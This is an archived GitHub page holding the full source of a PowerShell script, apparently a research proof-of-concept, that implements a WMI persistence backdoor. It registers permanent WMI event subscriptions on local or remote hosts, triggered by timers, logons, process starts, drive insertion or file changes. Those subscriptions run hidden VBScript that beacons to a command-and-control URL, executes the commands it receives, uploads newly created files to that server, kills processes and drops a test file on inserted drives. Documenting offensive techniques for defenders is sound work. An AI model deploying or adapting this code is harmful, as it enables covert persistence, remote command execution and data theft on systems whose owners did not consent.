This repository has been archived by the owner on Sep 13, 2022. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 91
/
WMIBackdoor.ps1
586 lines (469 loc) · 19.5 KB
/
WMIBackdoor.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
<#
PoC WMI backdoor. This is a crude WMI backdoor (that doesn't include
a C2 server component) used for demonstration purposes only and to
demonstrate offensive WMI techniques. No further weaponization will
be performed. I will not respond to issues or pull requests.
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
#>
Function New-WMIBackdoorTrigger {
Param (
[Parameter(Mandatory = $True, ParameterSetName = 'Interval')]
[UInt32]
$TimingInterval,
[Parameter(Mandatory = $True, ParameterSetName = 'AbsoluteDatetime')]
[DateTime]
$Datetime,
[Parameter(ParameterSetName = 'Interval')]
[Parameter(ParameterSetName = 'AbsoluteDatetime')]
[ValidateNotNullOrEmpty()]
[String]
$TimerName = 'Timer',
[Parameter(Mandatory = $True, ParameterSetName = 'ProcessStart')]
[ValidateNotNullOrEmpty()]
[String]
$ProcessName,
[Parameter(Mandatory = $True, ParameterSetName = 'NewOrModifiedFile')]
[ValidateScript({ foreach ($Ext in $_) {(!$Ext.Contains('.')) -and ($Ext.Length)} })]
[String[]]
$NewOrModifiedFileExtensions,
[Parameter(Mandatory = $True, ParameterSetName = 'LockedScreen')]
[Switch]
$LockedScreen,
[Parameter(Mandatory = $True, ParameterSetName = 'InteractiveLogon')]
[Switch]
$InteractiveLogon,
[Parameter(Mandatory = $True, ParameterSetName = 'DriveInsertion')]
[Switch]
$DriveInsertion,
[ValidateNotNullOrEmpty()]
[String]
$TriggerName
)
switch ($PsCmdlet.ParameterSetName) {
'Interval' {
if ($TriggerName) {
$Name = $TriggerName
} else {
$Name = 'TimingIntervalTrigger'
}
# Convert minutes to milliseconds
$IntervalMS = $TimingInterval * 60000
$Result = @{
Name = $Name
EventNameSpace = 'ROOT\cimv2'
QueryLanguage = 'WQL'
Query = "SELECT * FROM __TimerEvent WHERE TimerID = '$TimerName'"
}
# Use $TimerName and $IntervalMS as out of band information to be used by Register-WMIBackdoor
# This is kind of ugly but I wanted to maintain strict function separation for event triggers,
# payloads, and registration.
$Result.PSObject.TypeNames.Insert(0, "WMI.BackdoorTrigger.TimingInterval.$TimerName.$IntervalMS")
return $Result
}
'AbsoluteDatetime' {
if ($TriggerName) {
$Name = $TriggerName
} else {
$Name = 'DatetimeTrigger'
}
$DMTFTime = [Management.ManagementDateTimeConverter]::ToDmtfDateTime($Datetime).Replace('.','_')
$Result = @{
Name = $Name
EventNameSpace = 'ROOT\cimv2'
QueryLanguage = 'WQL'
Query = "SELECT * FROM __TimerEvent WHERE TimerID = '$TimerName'"
}
$Result.PSObject.TypeNames.Insert(0, "WMI.BackdoorTrigger.DateTime.$TimerName.$DMTFTime")
return $Result
}
'ProcessStart' {
if ($TriggerName) {
$Name = $TriggerName
} else {
$Name = 'ProcessStartTrigger'
}
$Result = @{
Name = $Name
EventNameSpace = 'ROOT\cimv2'
QueryLanguage = 'WQL'
Query = "SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName = '$ProcessName'"
}
$Result.PSObject.TypeNames.Insert(0, "WMI.BackdoorTrigger.ProcessStart")
return $Result
}
'LockedScreen' {
if ($TriggerName) {
$Name = $TriggerName
} else {
$Name = 'LockedScreenTrigger'
}
$Result = @{
Name = $Name
EventNameSpace = 'ROOT\cimv2'
QueryLanguage = 'WQL'
Query = 'SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName = "LogonUI.exe"'
}
$Result.PSObject.TypeNames.Insert(0, "WMI.BackdoorTrigger.LockedScreen")
return $Result
}
'InteractiveLogon' {
if ($TriggerName) {
$Name = $TriggerName
} else {
$Name = 'InteractiveLogonTrigger'
}
$Result = @{
Name = $Name
EventNameSpace = 'ROOT\subscription'
QueryLanguage = 'WQL'
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType = 2"
}
$Result.PSObject.TypeNames.Insert(0, "WMI.BackdoorTrigger.InteractiveLogon")
return $Result
}
'DriveInsertion' {
if ($TriggerName) {
$Name = $TriggerName
} else {
$Name = 'DriveInsertionTrigger'
}
$Result = @{
Name = $Name
EventNameSpace = 'ROOT\cimv2'
QueryLanguage = 'WQL'
Query = 'SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2'
}
$Result.PSObject.TypeNames.Insert(0, "WMI.BackdoorTrigger.DriveInsertion")
return $Result
}
'NewOrModifiedFile' {
if ($TriggerName) {
$Name = $TriggerName
} else {
$Name = 'NewOrModifiedFileTrigger'
}
$QueryExtensions = ($NewOrModifiedFileExtensions | % { "TargetInstance.Extension = `"$_`"" }) -join ' OR '
$Result = @{
Name = $Name
EventNameSpace = 'ROOT\cimv2'
QueryLanguage = 'WQL'
Query = "SELECT * FROM __InstanceOperationEvent WITHIN 30 WHERE ((__CLASS = `"__InstanceCreationEvent`" OR __CLASS = `"__InstanceModificationEvent`") AND TargetInstance ISA `"CIM_DataFile`") AND ($QueryExtensions)"
}
$Result.PSObject.TypeNames.Insert(0, "WMI.BackdoorTrigger.NewOrModifiedFile")
return $Result
}
}
}
Function New-WMIBackdoorAction {
Param (
[Parameter(Mandatory = $True, ParameterSetName = 'Backdoor')]
[Parameter(Mandatory = $True, ParameterSetName = 'FileUpload')]
[Uri]
$C2Uri,
[Parameter(Mandatory = $True, ParameterSetName = 'Backdoor')]
[Switch]
$Backdoor,
[Parameter(Mandatory = $True, ParameterSetName = 'KillProcess')]
[Switch]
$KillProcess,
[Parameter(Mandatory = $True, ParameterSetName = 'InfectDrive')]
[Switch]
$InfectDrive,
[Parameter(Mandatory = $True, ParameterSetName = 'FileUpload')]
[Switch]
$FileUpload,
[ValidateNotNullOrEmpty()]
[String]
$ActionName
)
$Base64Decoder = @'
' Decodes a base-64 encoded string (BSTR type).
' 1999 - 2004 Antonin Foller, http://www.motobit.com
' 1.01 - solves problem with Access And 'Compare Database' (InStr)
Function Base64Decode(ByVal base64String)
'rfc1521
'1999 Antonin Foller, Motobit Software, http://Motobit.cz
Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
Dim dataLength, sOut, groupBegin
'remove white spaces, If any
base64String = Replace(base64String, vbCrLf, "")
base64String = Replace(base64String, vbTab, "")
base64String = Replace(base64String, " ", "")
'The source must consists from groups with Len of 4 chars
dataLength = Len(base64String)
If dataLength Mod 4 <> 0 Then
Err.Raise 1, "Base64Decode", "Bad Base64 string."
Exit Function
End If
' Now decode each group:
For groupBegin = 1 To dataLength Step 4
Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
' Each data group encodes up To 3 actual bytes.
numDataBytes = 3
nGroup = 0
For CharCounter = 0 To 3
' Convert each character into 6 bits of data, And add it To
' an integer For temporary storage. If a character is a '=', there
' is one fewer data byte. (There can only be a maximum of 2 '=' In
' the whole string.)
thisChar = Mid(base64String, groupBegin + CharCounter, 1)
If thisChar = "=" Then
numDataBytes = numDataBytes - 1
thisData = 0
Else
thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
End If
If thisData = -1 Then
Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
Exit Function
End If
nGroup = 64 * nGroup + thisData
Next
'Hex splits the long To 6 groups with 4 bits
nGroup = Hex(nGroup)
'Add leading zeros
nGroup = String(6 - Len(nGroup), "0") & nGroup
'Convert the 3 byte hex integer (6 chars) To 3 characters
pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
Chr(CByte("&H" & Mid(nGroup, 5, 2)))
'add numDataBytes characters To out string
sOut = sOut & Left(pOut, numDataBytes)
Next
Base64Decode = sOut
End Function
'@
switch ($PsCmdlet.ParameterSetName) {
'Backdoor' {
$VBScript = @"
Option Explicit
On Error Resume Next
Dim oXMLHTTP, oReg, aC2URL, aCmdType, aClassName, aPropertyName, aPayload, aMachineGuid
Set oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")
oReg.GetStringValue &H80000002, "SOFTWARE\Microsoft\Cryptography", "MachineGuid", aMachineGuid
aC2URL = "$($C2Uri.AbsoluteUri)index.html&ID=" & aMachineGuid
Sub StorePayloadInWMIRepo(classname, propertyname, payload)
Dim oLocation, oServices, oDataObject
Set oLocation = CreateObject("WbemScripting.SWbemLocator")
Set oServices = oLocation.ConnectServer(, "root\cimv2")
Set oDataObject = oServices.Get
oDataObject.Path_.Class = classname
oDataObject.Properties_.Add(propertyname, 8).Value = payload
oDataObject.Put_
End Sub
Sub DeleteWMIClass(classname, propertyname)
Dim oLocation, oServices, oDataObject
Set oLocation = CreateObject("WbemScripting.SWbemLocator")
Set oServices = oLocation.ConnectServer(, "root\cimv2")
Set oDataObject = oServices.Get
oDataObject.Path_.Class = classname
oDataObject.Properties_.Add(propertyname, 8).Value = ""
oDataObject.Delete_()
End Sub
Sub ExecCommand(command)
Dim oLocation, oServices, oProcess, oStartup, oConfig, oResult, iProcessID
Const HIDDEN_WINDOW = 12
Set oLocation = CreateObject("WbemScripting.SWbemLocator")
Set oServices = oLocation.ConnectServer(, "root\cimv2")
Set oStartup = oServices.Get("Win32_ProcessStartup")
Set oConfig = oStartup.SpawnInstance_
oConfig.ShowWindow = HIDDEN_WINDOW
Set oProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
oResult = oProcess.Create(command, null, oConfig, iProcessID)
End Sub
$Base64Decoder
Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP")
oXMLHTTP.open "GET", aC2URL, False
oXMLHTTP.send()
If oXMLHTTP.Status = 200 Then
aCmdType = oXMLHTTP.getResponseHeader("Type")
aClassName = oXMLHTTP.getResponseHeader("Class")
aPropertyName = oXMLHTTP.getResponseHeader("Property")
aPayload = Base64Decode(oXMLHTTP.responseText)
Select Case aCmdType
Case "V"
If Not IsNull(aPayload) Then
Execute aPayload
End If
Case "P"
If Not IsNull(aClassName) And Not IsNull(aPropertyName) And Not IsNull(aPayload) Then
Call StorePayloadInWMIRepo(aClassName, aPropertyName, aPayload)
End If
Case "D"
If Not IsNull(aClassName) And Not IsNull(aPropertyName) Then
Call DeleteWMIClass(aClassName, aPropertyName)
End If
Case "C"
If Not IsNull(aPayload) Then
Call ExecCommand(aPayload)
End If
End Select
End If
"@
if ($ActionName) {
$Name = $ActionName
} else {
$Name = 'LaunchBeaconingBackdoor'
}
}
'KillProcess' {
$VBScript = @"
Dim oLocation, oServices, oProcessList, oProcess
Set oLocation = CreateObject("WbemScripting.SWbemLocator")
Set oServices = oLocation.ConnectServer(, "root\cimv2")
Set oProcessList = oServices.ExecQuery("SELECT * FROM Win32_Process WHERE ProcessID = " & TargetEvent.ProcessID)
For Each oProcess in oProcessList
oProcess.Terminate()
Next
"@
if ($ActionName) {
$Name = $ActionName
} else {
$Name = 'KillProcess'
}
}
'InfectDrive' {
# This is only a PoC at this stage. This payload simply drops
# the EICAR signature to <INSERTED_DRIVE_LETTER>:\eicar.txt
$VBScript = @"
Dim oFSO, oFile, sFilePath, sDecodedEicar
$Base64Decoder
sDecodedEicar = Base64Decode("WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo=")
Set oFSO = CreateObject("Scripting.FileSystemObject")
sFilePath = TargetEvent.DriveName & "\eicar.txt"
Set oFile = oFSO.CreateTextFile(sFilePath, True)
oFile.Write sDecodedEicar
oFile.Close
"@
if ($ActionName) {
$Name = $ActionName
} else {
$Name = 'DriveInfector'
}
}
'FileUpload' {
$VBScript = @"
On Error Resume Next
Dim oReg, oXMLHTTP, oStream, aMachineGuid, aC2URL, vBinary
Set oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv")
oReg.GetStringValue &H80000002, "SOFTWARE\Microsoft\Cryptography", "MachineGuid", aMachineGuid
aC2URL = "$($C2Uri.AbsoluteUri)index.html&ID=" & aMachineGuid
Set oStream = CreateObject("ADODB.Stream")
oStream.Type = 1
oStream.Open
oStream.LoadFromFile TargetEvent.TargetInstance.Name
vBinary = oStream.Read
Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP")
oXMLHTTP.open "POST", aC2URL, False
oXMLHTTP.setRequestHeader "Path", TargetEvent.TargetInstance.Name
oXMLHTTP.send(vBinary)
"@
if ($ActionName) {
$Name = $ActionName
} else {
$Name = 'FileUpload'
}
}
}
$Action = @{
Name = $Name
ScriptingEngine = 'VBScript'
ScriptText = $VBScript
KillTimeout = [UInt32] 45
}
$Action.PSObject.TypeNames.Insert(0, 'WMI.BackdoorAction')
return $Action
}
Function Register-WMIBackdoor {
Param (
[Parameter(Mandatory = $True)]
[ValidateScript({$_.PSObject.TypeNames[0].StartsWith('WMI.BackdoorTrigger')})]
[Hashtable]
$Trigger,
[Parameter(Mandatory = $True)]
[ValidateScript({$_.PSObject.TypeNames[0] -eq 'WMI.BackdoorAction'})]
[Hashtable]
$Action,
[String]
[ValidateNotNullOrEmpty()]
[Alias('Cn')]
$ComputerName = '.',
[Management.Automation.PSCredential]
$Credential
)
$TypeComponents = $Trigger.PSObject.TypeNames[0].Split('.')
# Register the timer components if a time-based trigger was selected
switch ($TypeComponents[2]) {
'TimingInterval' {
$TimerName = $TypeComponents[3]
$TimingInterval = $TypeComponents[4]
$TimerArg = @{
IntervalBetweenEvents = ([UInt32] $TimingInterval)
SkipIfPassed = $False
TimerId = $TimerName
}
$Arguments = @{
Namespace = 'ROOT\cimv2'
Class = '__IntervalTimerInstruction'
ComputerName = $ComputerName
Arguments = $TimerArg
ErrorAction = 'Stop'
}
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $PSBoundParameters['Credential'] }
$Timer = Set-WmiInstance @Arguments
}
'DateTime' {
$TimerName = $TypeComponents[3]
$DateTime = $TypeComponents[3].Replace('_', '.')
$TimerArg = @{
EventDateTime = $DateTime
SkipIfPassed = $False
TimerId = $TimerName
}
$Arguments = @{
Namespace = 'ROOT\cimv2'
Class = '__AbsoluteTimerInstruction'
ComputerName = $ComputerName
Arguments = $TimerArg
ErrorAction = 'Stop'
}
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $PSBoundParameters['Credential'] }
$Timer = Set-WmiInstance @Arguments
}
}
$FilterParams = @{
Namespace = 'root\subscription'
Class = '__EventFilter'
ComputerName = $ComputerName
Arguments = $Trigger
ErrorAction = 'Stop'
}
if ($PSBoundParameters['Credential']) { $FilterParams['Credential'] = $PSBoundParameters['Credential'] }
$Filter = Set-WmiInstance @FilterParams
$ConsumerParams = @{
Namespace = 'root\subscription'
Class = 'ActiveScriptEventConsumer'
ComputerName = $ComputerName
Arguments = $Action
ErrorAction = 'Stop'
}
if ($PSBoundParameters['Credential']) { $ConsumerParams['Credential'] = $PSBoundParameters['Credential'] }
$Consumer = Set-WmiInstance @ConsumerParams
$BindingParams = @{
Namespace = 'root\subscription'
Class = '__FilterToConsumerBinding'
ComputerName = $ComputerName
Arguments = @{ Filter = $Filter; Consumer = $Consumer }
ErrorAction = 'Stop'
}
if ($PSBoundParameters['Credential']) { $BindingParams['Credential'] = $PSBoundParameters['Credential'] }
$FilterConsumerBinding = Set-WmiInstance @BindingParams
$Result = New-Object PSObject -Property @{
Filter = $Filter
Consumer = $Consumer
Binding = $FilterConsumerBinding
}
$Result.PSObject.TypeNames.Insert(0, 'WMI.BackdoorRegistration')
return $Result
}